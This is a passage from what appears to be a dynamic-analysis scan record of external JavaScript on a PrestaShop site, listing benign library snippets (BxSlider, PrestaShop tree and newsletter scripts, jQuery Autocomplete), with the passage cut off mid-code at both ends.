x=d(),v;while((v=x.index(w))==-1&&w!=p){w=w.parentNode}return v}})}})(jQuery);",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** * BxSlider v4.1.2 - Fully loaded, responsive content slider * http://bxslider.com * * Copyright 2014, Steven Wanderski - http://stevenwanderski.com - http://bxcreative.com * Written while drinking Belgian ales and listening to jazz * * Released under the MIT license - http://opensource.org/licenses/MIT */!function(t){var e={},s={mode:\"horizontal\",slideSelector:\"\",infiniteLoop:!0,hideControlOnEnd:!1,speed:500,easing:null,slideMargin:0,startSlide:0,randomStart:!1,captions:!1,ticker:!1,tickerHover:!1,adaptiveHeight:!1,adaptiveHeightSpeed:500,video:!1,useCSS:!0,preloadImages:\"visible\",responsive:!0,slideZIndex:50,touchEnabled:!0,swipeThreshold:50,oneToOneTouch:!0,preventDefaultSwipeX:!0,preventDefaultSwipeY:!1,pager:!0,pagerType:\"full\",pagerShortSeparator:\" / \",pagerSelector:null,buildPager:null,pagerCustom:null,controls:!0,nextText:\"Next\",prevText:\"Prev\",nextSelector:null,prevSelector:null,autoControls:!1,startText:\"Start\",stopText:\"Stop\",autoControlsCombine:!1,autoControlsSelector:null,auto:!1,pause:4e3,autoStart:!0,autoDirection:\"next\",autoHover:!1,autoDelay:0,minSlides:1,maxSlides:1,moveSlides:0,slideWidth:0,onSliderLoad:function(){},onSlideBefore:function(){},onSlideAfter:function(){},onSlideNext:function(){},onSlidePrev:function(){},onSliderResize:function(){}};t.fn.bxSlider=function(n){if(0==this.length)return this;if(this.length>1)return this.each(function(){t(this).bxSlider(n)}),this;var o={},r=this;e.el=this;var a=t(window).width(),l=t(window).height(),d=function(){o.settings=t.extend({},s,n),o.settings.slideWidth=parseInt(o.settings.slideWidth),o.children=r.children(o.settings.slideSelector),o.children.length<o.settings.minSlides&&(o.settings.minSlides=o.children.length),o.children.length<o.settings.maxSlides&&(o.settings.maxSlides=o.children.length),o.settings.randomStart&&(o.settings.startSlide=Math.floor(Math.random()*o.children.length)),o.active={index:o.settings.startSlide},o.carousel=o.settings.minSlides>1||o.settings.maxSlides>1,o.carousel&&(o.settings.preloadImages=\"all\"),o.minThreshold=o.settings.minSlides*o.settings.slideWidth+(o.settings.minSlides-1)*o.settings.slideMargin,o.maxThreshold=o.settings.maxSlides*o.settings.slideWidth+(o.settings.maxSlides-1)*o.settings.slideMargin,o.working=!1,o.controls={},o.interval=null,o.animProp=\"vertical\"==o.settings.mode?\"top\":\"left\",o.usingCSS=o.settings.useCSS&&\"fade\"!=o.settings.mode&&function(){var t=document.createElement(\"div\"),e=[\"WebkitPerspective\",\"MozPerspective\",\"OPerspective\",\"msPerspective\"];for(var i in e)if(void 0!==t.style[e[i]])return o.cssPrefix=e[i].replace(\"Perspective\",\"\").toLowerCase(),o.animProp=\"-\"+o.cssPrefix+\"-transform\",!0;return!1}(),\"vertical\"==o.settings.mode&&(o.settings.maxSlides=o.settings.minSlides),r.data(\"origStyle\",r.attr(\"style\")),r.children(o.settings.slideSelector).each(function(){t(this).data(\"origStyle\",t(this).attr(\"style\"))}),c()},c=function(){r.wrap('<div class=\"bx-wrapper\"><div class=\"bx-viewport\"></div></div>'),o.viewport=r.parent(),o.loader=t('<div class=\"bx-loading\" />'),o.viewport.prepend(o.loader),r.css({width:\"horizontal\"==o.settings.mode?100*o.children.length+215+\"%\":\"auto\",position:\"relative\"}),o.usingCSS&&o.settings.easing?r.css(\"-\"+o.cssPrefix+\"-transition-timing-function\",o.settings.easing):o.settings.easing||(o.settings.easing=\"swing\"),f(),o.viewport.css({width:\"100%\",overflow:\"hidden\",position:\"relative\"}),o.viewport.parent().css({maxWidth:p()}),o.settings.pager||o.viewport.parent().css({margin:\"0 auto 0px\"}),o.children.css({\"float\":\"horizontal\"==o.settings.mode?\"left\":\"none\",listStyle:\"none\",position:\"relative\"}),o.children.css(\"width\",u()),\"horizontal\"==o.settings.mode&&o.settings.slideMargin>0&&o.children.css(\"marginRight\",o.settings.slideMargin),\"vertical\"==o.settings.mode&&o.settings.slideMargin>0&&o.children.css(\"marginBottom\",o.settings.slideMargin),\"fade\"==o.settings.mode&&(o.children.css({position:\"absolute\",zIndex:0,display:\"none\"}),o.children.eq(o.settings.startSlide).css({zIndex:o.settings.slideZIndex,display:\"block\"})),o.controls.el=t('<div class=\"bx-controls\" />'),o.settings.captions&&P(),o.active.last=o.settings.startSlide==x()-1,o.settings.video&&r.fitVids();var e=o.children.eq(o.settings.startSlide);\"all\"==o.settings.preloadImages&&(e=o.children),o.settings.ticker?o.settings.pager=!1:(o.settings.pager&&T(),o.settings.controls&&C(),o.settings.auto&&o.settings.autoControls&&E(),(o.settings.controls||o.settings.autoControls||o.settings.pager)&&o.viewport.after(o.controls.el)),g(e,h)},g=function(e,i){var s=e.find(\"img, iframe\").length;if(0==s)return i(),void 0;var n=0;e.find(\"img, iframe\").each(function(){t(this).one(\"load\",function(){++n==s&&i()}).each(function(){this.complete&&t(this).load()})})},h=function(){if(o.settings.infiniteLoop&&\"fade\"!=o.settings.mode&&!o.settings.ticker){var e=\"vertical\"==o.settings.mode?o.settings.minSlides:o.settings.maxSlides,i=o.children.slice(0,e).clone().addClass(\"bx-clone\"),s=o.children.slice(-e).clone().addClass(\"bx-clone\");r.append(i).prepend(s)}o.loader.remove(),S(),\"vertical\"==o.settings.mode&&(o.settings.adaptiveHeight=!0),o.viewport.height(v()),r.redrawSlider(),o.settings.onSliderLoad(o.active.index),o.initialized=!0,o.settings.responsive&&t(window).bind(\"resize\",Z),o.settings.auto&&o.settings.autoStart&&H(),o.settings.ticker&&L(),o.settings.pager&&q(o.settings.startSlide),o.settings.controls&&W(),o.settings.touchEnabled&&!o.settings.ticker&&O()},v=function(){var e=0,s=t();if(\"vertical\"==o.settings.mode||o.settings.adaptiveHeight)if(o.carousel){var n=1==o.settings.moveSlides?o.active.index:o.active.index*m();for(s=o.children.eq(n),i=1;i<=o.settings.maxSlides-1;i++)s=n+i>=o.children.length?s.add(o.children.eq(i-1)):s.add(o.children.eq(n+i))}else s=o.children.eq(o.active.index);else s=o.children;return\"vertical\"==o.settings.mode?(s.each(function(){e+=t(this).outerHeight()}),o.settings.slideMargin>0&&(e+=o.settings.slideMargin*(o.settings.minSlides-1))):e=Math.max.apply(Math,s.map(function(){return t(this).outerHeight(!1)}).get()),e},p=function(){var t=\"100%\";return o.settings.slideWidth>0&&(t=\"horizontal\"==o.settings.mode?o.settings.maxSlides*o.settings.slideWidth+(o.settings.maxSlides-1)*o.settings.slideMargin:o.settings.slideWidth),t},u=function(){var t=o.settings.slideWidth,e=o.viewport.width();return 0==o.settings.slideWidth||o.settings.slideWidth>e&&!o.carousel||\"vertical\"==o.settings.mode?t=e:o.settings.maxSlides>1&&\"horizontal\"==o.settings.mode&&(e>o.maxThreshold||e<o.minThreshold&&(t=(e-o.settings.slideMargin*(o.settings.minSlides-1))/o.settings.minSlides)),t},f=function(){var t=1;if(\"horizontal\"==o.settings.mode&&o.settings.slideWidth>0)if(o.viewport.width()<o.minThreshold)t=o.settings.minSlides;else if(o.viewport.width()>o.maxThreshold)t=o.settings.maxSlides;else{var e=o.children.first().width();t=Math.floor(o.viewport.width()/e)}else\"vertical\"==o.settings.mode&&(t=o.settings.minSlides);return t},x=function(){var t=0;if(o.settings.moveSlides>0)if(o.settings.infiniteLoop)t=o.children.length/m();else for(var e=0,i=0;e<o.children.length;)++t,e=i+f(),i+=o.settings.moveSlides<=f()?o.settings.moveSlides:f();else t=Math.ceil(o.children.length/f());return t},m=function(){return o.settings.moveSlides>0&&o.settings.moveSlides<=f()?o.settings.moveSlides:f()},S=function(){if(o.children.length>o.settings.maxSlides&&o.active.last&&!o.settings.infiniteLoop){if(\"horizontal\"==o.settings.mode){var t=o.children.last(),e=t.position();b(-(e.left-(o.viewport.width()-t.width())),\"reset\",0)}else if(\"vertical\"==o.settings.mode){var i=o.children.length-o.settings.minSlides,e=o.children.eq(i).position();b(-e.top,\"reset\",0)}}else{var e=o.children.eq(o.active.index*m()).position();o.active.index==x()-1&&(o.active.last=!0),void 0!=e&&(\"horizontal\"==o.settings.mode?b(-e.left,\"reset\",0):\"vertical\"==o.settings.mode&&b(-e.top,\"reset\",0))}},b=function(t,e,i,s){if(o.usingCSS){var n=\"vertical\"==o.settings.mode?\"translate3d(0, \"+t+\"px, 0)\":\"translate3d(\"+t+\"px, 0, 0)\";r.css(\"-\"+o.cssPrefix+\"-transition-duration\",i/1e3+\"s\"),\"slide\"==e?(r.css(o.animProp,n),r.bind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\",function(){r.unbind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\"),D()})):\"reset\"==e?r.css(o.animProp,n):\"ticker\"==e&&(r.css(\"-\"+o.cssPrefix+\"-transition-timing-function\",\"linear\"),r.css(o.animProp,n),r.bind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\",function(){r.unbind(\"transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd\"),b(s.resetValue,\"reset\",0),N()}))}else{var a={};a[o.animProp]=t,\"slide\"==e?r.animate(a,i,o.settings.easing,function(){D()}):\"reset\"==e?r.css(o.animProp,t):\"ticker\"==e&&r.animate(a,speed,\"linear\",function(){b(s.resetValue,\"reset\",0),N()})}},w=function(){for(var e=\"\",i=x(),s=0;i>s;s++){var n=\"\";o.settings.buildPager&&t.isFunction(o.settings.buildPager)?(n=o.settings.buildPager(s),o.pagerEl.addClass(\"bx-custom-pager\")):(n=s+1,o.pagerEl.addClass(\"bx-default-pager\")),e+='<div class=\"bx-pager-item\"><a href=\"\" data-slide-index=\"'+s+'\" class=\"bx-pager-link\">'+n+\"</a></div>\"}o.pagerEl.html(e)},T=function(){o.settings.pagerCustom?o.pagerEl=t(o.settings.pagerCustom):(o.pagerEl=t('<div class=\"bx-pager\" />'),o.settings.pagerSelector?t(o.settings.pagerSelector).html(o.pagerEl):o.controls.el.addClass(\"bx-has-pager\").append(o.pagerEl),w()),o.pagerEl.on(\"click\",\"a\",I)},C=function(){o.controls.next=t('<a class=\"bx-next\" href=\"\">'+o.settings.nextText+\"</a>\"),o.controls.prev=t('<a class=\"bx-prev\" href=\"\">'+o.settings.prevText+\"</a>\"),o.controls.next.bind(\"click\",y),o.controls.prev.bind(\"click\",z),o.settings.nextSelector&&t(o.settings.nextSelector).append(o.controls.next),o.settings.prevSelector&&t(o.settings.prevSelector).append(o.controls.prev),o.settings.nextSelector||o.settings.prevSelector||(o.controls.directionEl=t('<div class=\"bx-controls-direction\" />'),o.controls.directionEl.append(o.controls.prev).append(o.controls.next),o.controls.el.addClass(\"bx-has-controls-direction\").append(o.controls.directionEl))},E=function(){o.controls.start=t('<div class=\"bx-controls-auto-item\"><a class=\"bx-start\" href=\"\">'+o.settings.startText+\"</a></div>\"),o.controls.stop=t('<div class=\"bx-controls-auto-item\"><a class=\"bx-stop\" href=\"\">'+o.settings.stopText+\"</a></div>\"),o.controls.autoEl=t('<div class=\"bx-controls-auto\" />'),o.controls.autoEl.on(\"click\",\".bx-start\",k),o.controls.autoEl.on(\"click\",\".bx-stop\",M),o.settings.autoControlsCombine?o.controls.autoEl.append(o.controls.start):o.controls.autoEl.append(o.controls.start).append(o.controls.stop),o.settings.autoControlsSelector?t(o.settings.autoControlsSelector).html(o.controls.autoEl):o.controls.el.addClass(\"bx-has-controls-auto\").append(o.controls.autoEl),A(o.settings.autoStart?\"stop\":\"start\")},P=function(){o.children.each(function(){var e=t(this).find(\"img:first\").attr(\"title\");void 0!=e&&(\"\"+e).length&&t(this).append('<div class=\"bx-caption\"><span>'+e+\"</span></div>\")})},y=function(t){o.settings.auto&&r.stopAuto(),r.goToNextSlide(),t.preventDefault()},z=function(t){o.settings.auto&&r.stopAuto(),r.goToPrevSlide(),t.preventDefault()},k=function(t){r.startAuto(),t.preventDefault()},M=function(t){r.stopAuto(),t.preventDefault()},I=function(e){o.settings.auto&&r.stopAuto();var i=t(e.currentTarget),s=parseInt(i.attr(\"data-slide-index\"));s!=o.active.index&&r.goToSlide(s),e.preventDefault()},q=function(e){var i=o.children.length;return\"short\"==o.settings.pagerType?(o.settings.maxSlides>1&&(i=Math.ceil(o.children.length/o.settings.maxSlides)),o.pagerEl.html(e+1+o.settings.pagerShortSeparator+i),void 0):(o.pagerEl.find(\"a\").removeClass(\"active\"),o.pagerEl.each(function(i,s){t(s).find(\"a\").eq(e).addClass(\"active\")}),void 0)},D=function(){if(o.settings.infiniteLoop){var t=\"\";0==o.active.index?t=o.children.eq(0).position():o.active.index==x()-1&&o.carousel?t=o.children.eq((x()-1)*m()).position():o.active.index==o.children.length-1&&(t=o.children.eq(o.children.length-1).position()),t&&(\"horizontal\"==o.settings.mode?b(-t.left,\"reset\",0):\"vertical\"==o.settings.mode&&b(-t.top,\"reset\",0))}o.working=!1,o.settings.onSlideAfter(o.children.eq(o.active.index),o.oldIndex,o.active.index)},A=function(t){o.settings.autoControlsCombine?o.controls.autoEl.html(o.controls[t]):(o.controls.autoEl.find(\"a\").removeClass(\"active\"),o.controls.autoEl.find(\"a:not(.bx-\"+t+\")\").addClass(\"active\"))},W=function(){1==x()?(o.controls.prev.addClass(\"disabled\"),o.controls.next.addClass(\"disabled\")):!o.settings.infiniteLoop&&o.settings.hideControlOnEnd&&(0==o.active.index?(o.controls.prev.addClass(\"disabled\"),o.controls.next.removeClass(\"disabled\")):o.active.index==x()-1?(o.controls.next.addClass(\"disabled\"),o.controls.prev.removeClass(\"disabled\")):(o.controls.prev.removeClass(\"disabled\"),o.controls.next.removeClass(\"disabled\")))},H=function(){o.settings.autoDelay>0?setTimeout(r.startAuto,o.settings.autoDelay):r.startAuto(),o.settings.autoHover&&r.hover(function(){o.interval&&(r.stopAuto(!0),o.autoPaused=!0)},function(){o.autoPaused&&(r.startAuto(!0),o.autoPaused=null)})},L=function(){var e=0;if(\"next\"==o.settings.autoDirection)r.append(o.children.clone().addClass(\"bx-clone\"));else{r.prepend(o.children.clone().addClass(\"bx-clone\"));var i=o.children.first().position();e=\"horizontal\"==o.settings.mode?-i.left:-i.top}b(e,\"reset\",0),o.settings.pager=!1,o.settings.controls=!1,o.settings.autoControls=!1,o.settings.tickerHover&&!o.usingCSS&&o.viewport.hover(function(){r.stop()},function(){var e=0;o.children.each(function(){e+=\"horizontal\"==o.settings.mode?t(this).outerWidth(!0):t(this).outerHeight(!0)});var i=o.settings.speed/e,s=\"horizontal\"==o.settings.mode?\"left\":\"top\",n=i*(e-Math.abs(parseInt(r.css(s))));N(n)}),N()},N=function(t){speed=t?t:o.settings.speed;var e={left:0,top:0},i={left:0,top:0};\"next\"==o.settings.autoDirection?e=r.find(\".bx-clone\").first().position():i=o.children.first().position();var s=\"horizontal\"==o.settings.mode?-e.left:-e.top,n=\"horizontal\"==o.settings.mode?-i.left:-i.top,a={resetValue:n};b(s,\"ticker\",speed,a)},O=function(){o.touch={start:{x:0,y:0},end:{x:0,y:0}},o.viewport.bind(\"touchstart\",X)},X=function(t){if(o.working)t.preventDefault();else{o.touch.originalPos=r.position();var e=t.originalEvent;o.touch.start.x=e.changedTouches[0].pageX,o.touch.start.y=e.changedTouches[0].pageY,o.viewport.bind(\"touchmove\",Y),o.viewport.bind(\"touchend\",V)}},Y=function(t){var e=t.originalEvent,i=Math.abs(e.changedTouches[0].pageX-o.touch.start.x),s=Math.abs(e.changedTouches[0].pageY-o.touch.start.y);if(3*i>s&&o.settings.preventDefaultSwipeX?t.preventDefault():3*s>i&&o.settings.preventDefaultSwipeY&&t.preventDefault(),\"fade\"!=o.settings.mode&&o.settings.oneToOneTouch){var n=0;if(\"horizontal\"==o.settings.mode){var r=e.changedTouches[0].pageX-o.touch.start.x;n=o.touch.originalPos.left+r}else{var r=e.changedTouches[0].pageY-o.touch.start.y;n=o.touch.originalPos.top+r}b(n,\"reset\",0)}},V=function(t){o.viewport.unbind(\"touchmove\",Y);var e=t.originalEvent,i=0;if(o.touch.end.x=e.changedTouches[0].pageX,o.touch.end.y=e.changedTouches[0].pageY,\"fade\"==o.settings.mode){var s=Math.abs(o.touch.start.x-o.touch.end.x);s>=o.settings.swipeThreshold&&(o.touch.start.x>o.touch.end.x?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto())}else{var s=0;\"horizontal\"==o.settings.mode?(s=o.touch.end.x-o.touch.start.x,i=o.touch.originalPos.left):(s=o.touch.end.y-o.touch.start.y,i=o.touch.originalPos.top),!o.settings.infiniteLoop&&(0==o.active.index&&s>0||o.active.last&&0>s)?b(i,\"reset\",200):Math.abs(s)>=o.settings.swipeThreshold?(0>s?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto()):b(i,\"reset\",200)}o.viewport.unbind(\"touchend\",V)},Z=function(){var e=t(window).width(),i=t(window).height();(a!=e||l!=i)&&(a=e,l=i,r.redrawSlider(),o.settings.onSliderResize.call(r,o.active.index))};return r.goToSlide=function(e,i){if(!o.working&&o.active.index!=e)if(o.working=!0,o.oldIndex=o.active.index,o.active.index=0>e?x()-1:e>=x()?0:e,o.settings.onSlideBefore(o.children.eq(o.active.index),o.oldIndex,o.active.index),\"next\"==i?o.settings.onSlideNext(o.children.eq(o.active.index),o.oldIndex,o.active.index):\"prev\"==i&&o.settings.onSlidePrev(o.children.eq(o.active.index),o.oldIndex,o.active.index),o.active.last=o.active.index>=x()-1,o.settings.pager&&q(o.active.index),o.settings.controls&&W(),\"fade\"==o.settings.mode)o.settings.adaptiveHeight&&o.viewport.height()!=v()&&o.viewport.animate({height:v()},o.settings.adaptiveHeightSpeed),o.children.filter(\":visible\").fadeOut(o.settings.speed).css({zIndex:0}),o.children.eq(o.active.index).css(\"zIndex\",o.settings.slideZIndex+1).fadeIn(o.settings.speed,function(){t(this).css(\"zIndex\",o.settings.slideZIndex),D()});else{o.settings.adaptiveHeight&&o.viewport.height()!=v()&&o.viewport.animate({height:v()},o.settings.adaptiveHeightSpeed);var s=0,n={left:0,top:0};if(!o.settings.infiniteLoop&&o.carousel&&o.active.last)if(\"horizontal\"==o.settings.mode){var a=o.children.eq(o.children.length-1);n=a.position(),s=o.viewport.width()-a.outerWidth()}else{var l=o.children.length-o.settings.minSlides;n=o.children.eq(l).position()}else if(o.carousel&&o.active.last&&\"prev\"==i){var d=1==o.settings.moveSlides?o.settings.maxSlides-m():(x()-1)*m()-(o.children.length-o.settings.maxSlides),a=r.children(\".bx-clone\").eq(d);n=a.position()}else if(\"next\"==i&&0==o.active.index)n=r.find(\"> .bx-clone\").eq(o.settings.maxSlides).position(),o.active.last=!1;else if(e>=0){var c=e*m();n=o.children.eq(c).position()}if(\"undefined\"!=typeof n){var g=\"horizontal\"==o.settings.mode?-(n.left-s):-n.top;b(g,\"slide\",o.settings.speed)}}},r.goToNextSlide=function(){if(o.settings.infiniteLoop||!o.active.last){var t=parseInt(o.active.index)+1;r.goToSlide(t,\"next\")}},r.goToPrevSlide=function(){if(o.settings.infiniteLoop||0!=o.active.index){var t=parseInt(o.active.index)-1;r.goToSlide(t,\"prev\")}},r.startAuto=function(t){o.interval||(o.interval=setInterval(function(){\"next\"==o.settings.autoDirection?r.goToNextSlide():r.goToPrevSlide()},o.settings.pause),o.settings.autoControls&&1!=t&&A(\"stop\"))},r.stopAuto=function(t){o.interval&&(clearInterval(o.interval),o.interval=null,o.settings.autoControls&&1!=t&&A(\"start\"))},r.getCurrentSlide=function(){return o.active.index},r.getCurrentSlideElement=function(){return o.children.eq(o.active.index)},r.getSlideCount=function(){return o.children.length},r.redrawSlider=function(){o.children.add(r.find(\".bx-clone\")).outerWidth(u()),o.viewport.css(\"height\",v()),o.settings.ticker||S(),o.active.last&&(o.active.index=x()-1),o.active.index>=x()&&(o.active.last=!0),o.settings.pager&&!o.settings.pagerCustom&&(w(),q(o.active.index))},r.destroySlider=function(){o.initialized&&(o.initialized=!1,t(\".bx-clone\",this).remove(),o.children.each(function(){void 0!=t(this).data(\"origStyle\")?t(this).attr(\"style\",t(this).data(\"origStyle\")):t(this).removeAttr(\"style\")}),void 0!=t(this).data(\"origStyle\")?this.attr(\"style\",t(this).data(\"origStyle\")):t(this).removeAttr(\"style\"),t(this).unwrap().unwrap(),o.controls.el&&o.controls.el.remove(),o.controls.next&&o.controls.next.remove(),o.controls.prev&&o.controls.prev.remove(),o.pagerEl&&o.settings.controls&&o.pagerEl.remove(),t(\".bx-caption\",this).remove(),o.controls.autoEl&&o.controls.autoEl.remove(),clearInterval(o.interval),o.settings.responsive&&t(window).unbind(\"resize\",Z))},r.reloadSlider=function(t){void 0!=t&&(n=t),r.destroySlider(),d()},d(),this}}(jQuery);",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function(){\t$('ul.tree.dhtml').hide();\t//to do not execute this script as much as it's called...\tif(!$('ul.tree.dhtml').hasClass('dynamized'))\t{\t\t//add growers to each ul.tree elements\t\t$('ul.tree.dhtml ul').prev().before(\"<span class='grower OPEN'> </span>\");\t\t\t\t//dynamically add the '.last' class on each last item of a branch\t\t$('ul.tree.dhtml ul li:last-child, ul.tree.dhtml li:last-child').addClass('last');\t\t\t\t//collapse every expanded branch\t\t$('ul.tree.dhtml span.grower.OPEN').addClass('CLOSE').removeClass('OPEN').parent().find('ul:first').hide();\t\t$('ul.tree.dhtml').show();\t\t\t\t//open the tree for the selected branch\t\t\t$('ul.tree.dhtml .selected').parents().each( function() {\t\t\t\tif ($(this).is('ul'))\t\t\t\t\ttoggleBranch($(this).prev().prev(), true);\t\t\t});\t\t\ttoggleBranch( $('ul.tree.dhtml .selected').prev(), true);\t\t\t\t//add a fonction on clicks on growers\t\t$('ul.tree.dhtml span.grower').click(function(){\t\t\ttoggleBranch($(this));\t\t});\t\t//mark this 'ul.tree' elements as already 'dynamized'\t\t$('ul.tree.dhtml').addClass('dynamized');\t\t$('ul.tree.dhtml').removeClass('dhtml');\t}});//animate the opening of the branch (span.grower jQueryElement)function openBranch(jQueryElement, noAnimation){\t\tjQueryElement.addClass('OPEN').removeClass('CLOSE');\t\tif(noAnimation)\t\t\tjQueryElement.parent().find('ul:first').show();\t\telse\t\t\tjQueryElement.parent().find('ul:first').slideDown();}//animate the closing of the branch (span.grower jQueryElement)function closeBranch(jQueryElement, noAnimation){\tjQueryElement.addClass('CLOSE').removeClass('OPEN');\tif(noAnimation)\t\tjQueryElement.parent().find('ul:first').hide();\telse\t\tjQueryElement.parent().find('ul:first').slideUp();}//animate the closing or opening of the branch (ul jQueryElement)function toggleBranch(jQueryElement, noAnimation){\tif(jQueryElement.hasClass('OPEN'))\t\tcloseBranch(jQueryElement, noAnimation);\telse\t\topenBranch(jQueryElement, noAnimation);}",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function() { $('#newsletter-input').on({ focus: function() { if ($(this).val() == placeholder_blocknewsletter || $(this).val() == msg_newsl) $(this).val(''); }, blur: function() { if ($(this).val() == '') $(this).val(placeholder_blocknewsletter); } });\tvar cssClass = 'alert alert-danger'; if (typeof nw_error != 'undefined' && !nw_error)\t\tcssClass = 'alert alert-success'; if (typeof msg_newsl != 'undefined' && msg_newsl)\t{ $('#columns').prepend('<div class=\"clearfix\"></div><p class=\"' + cssClass + '\"> ' + alert_blocknewsletter + '</p>');\t\t$('html, body').animate({scrollTop: $('#columns').offset().top}, 'slow');\t}});",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* * Autocomplete - jQuery plugin 1.0.2 * * Copyright (c) 2007 Dylan Verheul, Dan G. Switzer, Anjesh Tuladhar, Jรถrn Zaefferer * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * * Revision: $Id: jquery.autocomplete.js 6844 2011-06-03 14:46:51Z dMetzger $ * */;(function($) {\t$.fn.extend({\tautocomplete: function(urlOrData, options) {\t\tvar isUrl = typeof urlOrData == \"string\";\t\toptions = $.extend({}, $.Autocompleter.defaults, {\t\t\turl: isUrl ? urlOrData : null,\t\t\tdata: isUrl ? null : urlOrData,\t\t\tdelay: isUrl ? $.Autocompleter.defaults.delay : 10,\t\t\tmax: options && !options.scroll ? 10 : 150\t\t}, options);\t\t\t\t// if highlight is set to false, replace it with a do-nothing function\t\toptions.highlight = options.highlight || function(value) { return value; };\t\t\t\t// if the formatMatch option is not specified, then use formatItem for backwards compatibility\t\toptions.formatMatch = options.formatMatch || options.formatItem;\t\t\t\treturn this.each(function() {\t\t\tnew $.Autocompleter(this, options);\t\t});\t},\tresult: function(handler) {\t\treturn this.bind(\"result\", handler);\t},\tsearch: function(handler) {\t\treturn this.trigger(\"search\", [handler]);\t},\tflushCache: function() {\t\treturn this.trigger(\"flushCache\");\t},\tsetOptions: function(options){\t\treturn this.trigger(\"setOptions\", [options]);\t},\tunautocomplete: function() {\t\treturn this.trigger(\"unautocomplete\");\t}});$.Autocompleter = function(input, options) {\tvar KEY = {\t\tUP: 38,\t\tDOWN: 40,\t\tDEL: 46,\t\tTAB: 9,\t\tRETURN: 13,\t\tESC: 27,\t\tCOMMA: 188,\t\tPAGEUP: 33,\t\tPAGEDOWN: 34,\t\tBACKSPACE: 8\t};\t// Create $ object for input element\tvar $input = $(input).attr(\"autocomplete\", \"off\").addClass(options.inputClass);\tvar timeout;\tvar previousValue = \"\";\tvar cache = $.Autocompleter.Cache(options);\tvar hasFocus = 0;\tvar lastKeyPressCode;\tvar config = {\t\tmouseDownOnSelect: false\t};\tvar select = $.Autocompleter.Select(options, input, selectCurrent, config);\t\tvar blockSubmit;\t\t// prevent form submit in opera when selecting with return key\t$.browser.opera && $(input.form).bind(\"submit.autocomplete\", function() {\t\tif (blockSubmit) {\t\t\tblockSubmit = false;\t\t\treturn false;\t\t}\t});\t\t// only opera doesn't trigger keydown multiple times while pressed, others don't work with keypress at all\t$input.bind(($.browser.opera ? \"keypress\" : \"keydown\") + \".autocomplete\", function(event) {\t\t// track last key pressed\t\tlastKeyPressCode = event.keyCode;\t\tswitch(event.keyCode) {\t\t\t\t\tcase KEY.UP:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.prev();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.DOWN:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.next();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.PAGEUP:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.pageUp();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.PAGEDOWN:\t\t\t\tevent.preventDefault();\t\t\t\tif ( select.visible() ) {\t\t\t\t\tselect.pageDown();\t\t\t\t} else {\t\t\t\t\tonChange(0, true);\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t// matches also semicolon\t\t\tcase options.multiple && $.trim(options.multipleSeparator) == \",\" && KEY.COMMA:\t\t\tcase KEY.TAB:\t\t\tcase KEY.RETURN:\t\t\t\tif( selectCurrent() ) {\t\t\t\t\t// stop default to prevent a form submit, Opera needs special handling\t\t\t\t\tevent.preventDefault();\t\t\t\t\tblockSubmit = true;\t\t\t\t\treturn false;\t\t\t\t}\t\t\t\tbreak;\t\t\t\t\t\t\tcase KEY.ESC:\t\t\t\tselect.hide();\t\t\t\tbreak;\t\t\t\t\t\t\tdefault:\t\t\t\tclearTimeout(timeout);\t\t\t\ttimeout = setTimeout(onChange, options.delay);\t\t\t\tbreak;\t\t}\t}).focus(function(){\t\t// track whether the field has focus, we shouldn't process any\t\t// results if the field no longer has focus\t\thasFocus++;\t}).blur(function() {\t\thasFocus = 0;\t\tif (!config.mouseDownOnSelect) {\t\t\thideResults();\t\t}\t}).click(function() {\t\t// show select when clicking in a focused field\t\tif ( hasFocus++ > 1 && !select.visible() ) {\t\t\tonChange(0, true);\t\t}\t}).bind(\"search\", function() {\t\t// TODO why not just specifying both arguments?\t\tvar fn = (arguments.length > 1) ? arguments[1] 